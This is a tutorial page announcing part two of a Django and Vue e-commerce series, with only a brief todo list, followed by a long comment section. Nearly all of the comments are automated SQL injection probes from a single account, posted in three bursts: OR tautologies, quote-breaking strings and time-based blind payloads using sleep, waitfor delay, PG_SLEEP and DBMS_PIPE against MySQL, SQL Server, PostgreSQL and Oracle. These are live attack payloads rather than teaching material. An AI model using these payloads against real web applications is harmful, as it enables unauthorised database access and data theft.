Part two - Category and Products - Building an e-commerce website using Django and Vue

In this part, we are going to set up views to show categories and products in our webshop.

Todo list for part 2

  • -Create folder and app for the store app
  • -Get list of products and show on the frontpage
  • -Show detail view for a product
  • -Show categories in the menu
  • -Show detail view for a category (Title and list related products)

Comments

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:13

555

EFSArCBy | Jul 02, 26 11:13

555

EFSArCBy | Jul 02, 26 11:13

-1 OR 2+806-806-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:13

-1 OR 2+691-691-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:13

-1' OR 2+116-116-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:13

-1' OR 2+277-277-1=0+0+0+1 or '9kvbWUGG'='

EFSArCBy | Jul 02, 26 11:13

-1" OR 2+297-297-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:13

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:13

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:13

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:13

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:13

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:13

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:13

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:13

555XKEMRTOm'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:13

555-1 OR 573=(SELECT 573 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:13

555-1) OR 381=(SELECT 381 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:13

555-1)) OR 625=(SELECT 625 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:13

555MAdvTTY3' OR 499=(SELECT 499 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:13

555XJkX8bxm') OR 161=(SELECT 161 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:13

555WpyNTM4I')) OR 65=(SELECT 65 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:13

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:13

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:13

555

EFSArCBy | Jul 02, 26 11:13

555'"

EFSArCBy | Jul 02, 26 11:13

@@RkkJY

EFSArCBy | Jul 02, 26 11:13

555

EFSArCBy | Jul 02, 26 11:13

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

-1 OR 2+286-286-1=0+0+0+1 -- | Jul 02, 26 11:14

555

-1 OR 2+123-123-1=0+0+0+1 | Jul 02, 26 11:14

555

-1' OR 2+396-396-1=0+0+0+1 -- | Jul 02, 26 11:14

555

-1' OR 2+330-330-1=0+0+0+1 or 'J7rMfGON'=' | Jul 02, 26 11:14

555

-1" OR 2+574-574-1=0+0+0+1 -- | Jul 02, 26 11:14

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:14

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:14

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:14

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:14

555

EFSArCByFDbjYITO'; waitfor delay '0:0:15' -- | Jul 02, 26 11:14

555

EFSArCByI4HO2wZe' OR 944=(SELECT 944 FROM PG_SLEEP(15))-- | Jul 02, 26 11:14

555

EFSArCBytHZuH6tY') OR 158=(SELECT 158 FROM PG_SLEEP(15))-- | Jul 02, 26 11:14

555

EFSArCByz56hy02o')) OR 689=(SELECT 689 FROM PG_SLEEP(15))-- | Jul 02, 26 11:14

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy'" | Jul 02, 26 11:14

555

@@9njLg | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 20, 26 11:25

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

-1 OR 2+804-804-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:29

-1 OR 2+987-987-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:29

-1' OR 2+763-763-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:29

-1' OR 2+922-922-1=0+0+0+1 or 's8Nc65FC'='

EFSArCBy | Jul 20, 26 11:29

-1" OR 2+21-21-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:29

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:29

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:29

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:29

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:29

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:29

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:29

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:29

5554BgjuyP4'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:29

555-1 OR 332=(SELECT 332 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:29

555-1) OR 413=(SELECT 413 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:29

555-1)) OR 660=(SELECT 660 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:29

555eJ73CYKZ' OR 950=(SELECT 950 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:29

555DccWLJw0') OR 974=(SELECT 974 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:29

555tHD2SZHS')) OR 223=(SELECT 223 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:29

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:29

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555'"

EFSArCBy | Jul 20, 26 11:29

@@78hk6

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

-1 OR 2+308-308-1=0+0+0+1 -- | Jul 20, 26 11:29

555

-1 OR 2+398-398-1=0+0+0+1 | Jul 20, 26 11:29

555

-1' OR 2+695-695-1=0+0+0+1 -- | Jul 20, 26 11:29

555

-1' OR 2+572-572-1=0+0+0+1 or 'krNyTICV'=' | Jul 20, 26 11:29

555

-1" OR 2+575-575-1=0+0+0+1 -- | Jul 20, 26 11:29

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:29

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:29

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:29

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:29

555

EFSArCBy7F5GEGAT'; waitfor delay '0:0:15' -- | Jul 20, 26 11:29

555

EFSArCBy3ykE4ys3' OR 334=(SELECT 334 FROM PG_SLEEP(15))-- | Jul 20, 26 11:29

555

EFSArCBy6jQH2hpN') OR 771=(SELECT 771 FROM PG_SLEEP(15))-- | Jul 20, 26 11:29

555

EFSArCByAvO2lbRK')) OR 40=(SELECT 40 FROM PG_SLEEP(15))-- | Jul 20, 26 11:29

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy'" | Jul 20, 26 11:29

555

@@GBrpQ | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 20, 26 11:29

555

EFSArCBy | Jul 23, 26 02:18

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

-1 OR 2+790-790-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:24

-1 OR 2+23-23-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:24

-1' OR 2+852-852-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:24

-1' OR 2+572-572-1=0+0+0+1 or 'n3yoUbpy'='

EFSArCBy | Jul 23, 26 02:24

-1" OR 2+34-34-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:24

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:24

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:24

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:24

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:24

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:24

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:24

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:24

555nheED9xW'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:24

555-1 OR 546=(SELECT 546 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:24

555-1) OR 561=(SELECT 561 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:24

555-1)) OR 394=(SELECT 394 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:24

555tKIdymns' OR 101=(SELECT 101 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:24

5555hEHi6iO') OR 508=(SELECT 508 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:24

5555G4he6mj')) OR 601=(SELECT 601 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:24

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:24

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555'"

EFSArCBy | Jul 23, 26 02:24

@@wRckm

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

-1 OR 2+87-87-1=0+0+0+1 -- | Jul 23, 26 02:24

555

-1 OR 2+632-632-1=0+0+0+1 | Jul 23, 26 02:24

555

-1' OR 2+924-924-1=0+0+0+1 -- | Jul 23, 26 02:24

555

-1' OR 2+802-802-1=0+0+0+1 or 'mv0QDDiP'=' | Jul 23, 26 02:24

555

-1" OR 2+654-654-1=0+0+0+1 -- | Jul 23, 26 02:24

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:24

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:24

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:24

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:24

555

EFSArCBybrTUsbru'; waitfor delay '0:0:15' -- | Jul 23, 26 02:24

555

EFSArCByJiLLKp9x' OR 454=(SELECT 454 FROM PG_SLEEP(15))-- | Jul 23, 26 02:24

555

EFSArCBy6t6CWfnf') OR 312=(SELECT 312 FROM PG_SLEEP(15))-- | Jul 23, 26 02:24

555

EFSArCByIBYyiW9j')) OR 573=(SELECT 573 FROM PG_SLEEP(15))-- | Jul 23, 26 02:24

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy'" | Jul 23, 26 02:24

555

@@6aKhI | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

EFSArCBy | Jul 23, 26 02:24

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.